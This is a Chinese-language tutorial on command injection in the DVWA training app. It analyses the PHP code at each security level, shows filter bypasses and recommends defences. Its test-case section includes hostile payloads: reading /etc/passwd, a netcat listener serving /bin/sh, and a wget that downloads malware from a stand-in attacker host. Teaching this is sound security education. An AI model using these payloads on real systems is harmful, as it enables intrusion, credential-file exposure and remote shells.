DVWA-Command Injection
字数 1460 2025-08-24 20:49:31
DVWA Command Injection 漏洞分析与防御教学文档
一、Command Injection 漏洞概述
命令注入(Command Injection)是一种安全漏洞,攻击者通过在应用程序中注入恶意命令,使系统执行非预期的操作系统命令。这种漏洞通常发生在应用程序将用户输入直接传递给系统shell执行时。
二、DVWA Command Injection 各等级分析
1. Low 级别
代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
} else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
漏洞点
- 直接拼接用户输入(
$target)到系统命令中 - 没有任何输入过滤或验证
- 使用
shell_exec()函数直接执行系统命令
关键函数说明
stristr(): 搜索字符串在另一字符串中的第一次出现,不区分大小写php_uname(): 返回运行PHP的系统信息,参数:- 'a': 默认,包含所有信息
- 's': 操作系统名称
- 'n': 主机名
- 'r': 版本名称
- 'v': 版本信息
- 'm': 机器类型
可利用的注入方式
- 命令分隔符
;:baidu.com;ls / - 逻辑与
&&:baidu.com && pwd - 逻辑或
||:baidu.com || pwd - 管道符
|:baidu.com | pwd
2. Medium 级别
代码改进
- 对输入进行了部分过滤,删除了
&&和;字符 - 采用黑名单机制
剩余漏洞
&未被过滤:baidu.com & pwd|未被过滤:baidu.com | pwd||未被过滤:baidu.com || pwd
3. High 级别
代码改进
- 增加了更多过滤规则
- 替换了
|(管道符加空格)为空
剩余漏洞
- 仅过滤了
|而非单独的|:127.0.0.1|ls仍可执行
4. Impossible 级别
安全实现
// 检查Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
} else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
} else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
安全措施
- 添加Anti-CSRF token防护
- 使用
stripslashes()删除反斜杠 - 使用
explode()将IP分割为数组 - 使用
is_numeric()严格验证每个IP段是否为数字 - 验证IP格式必须为4段数字
关键函数说明
stripslashes(): 删除字符串中的反斜杠explode(): 将字符串分割为数组is_numeric(): 检测变量是否为数字或数字字符串
三、防御措施总结
-
输入验证:
- 使用白名单而非黑名单
- 严格验证输入格式(如Impossible级别的IP验证)
-
避免直接执行系统命令:
- 使用语言内置函数替代系统命令
- 如必须使用系统命令,使用
escapeshellarg()或escapeshellcmd()进行转义
-
最小权限原则:
- 运行Web服务器的用户应具有最小必要权限
-
使用安全函数:
escapeshellarg(): 将字符串转义为shell参数escapeshellcmd(): 转义shell元字符
-
CSRF防护:
- 如Impossible级别中使用的Anti-CSRF token
-
输出编码:
- 对输出进行HTML编码,防止XSS等二次攻击
四、测试用例示例
-
基本注入测试:
; ls -la && cat /etc/passwd | netstat -an -
绕过过滤测试:
127.0.0.1%0Als $(whoami) `id` -
复杂注入测试:
; nc -lvp 4444 -e /bin/sh && wget http://attacker.com/malware -O /tmp/malware
五、总结
命令注入是一种高危漏洞,防御关键在于:
- 永远不要信任用户输入
- 使用严格的白名单验证
- 避免直接拼接用户输入到系统命令中
- 使用专门设计的API替代系统命令调用
通过DVWA的四个级别演示,我们可以清晰看到从完全无防护到完善防护的演进过程,理解命令注入的原理和防御方法。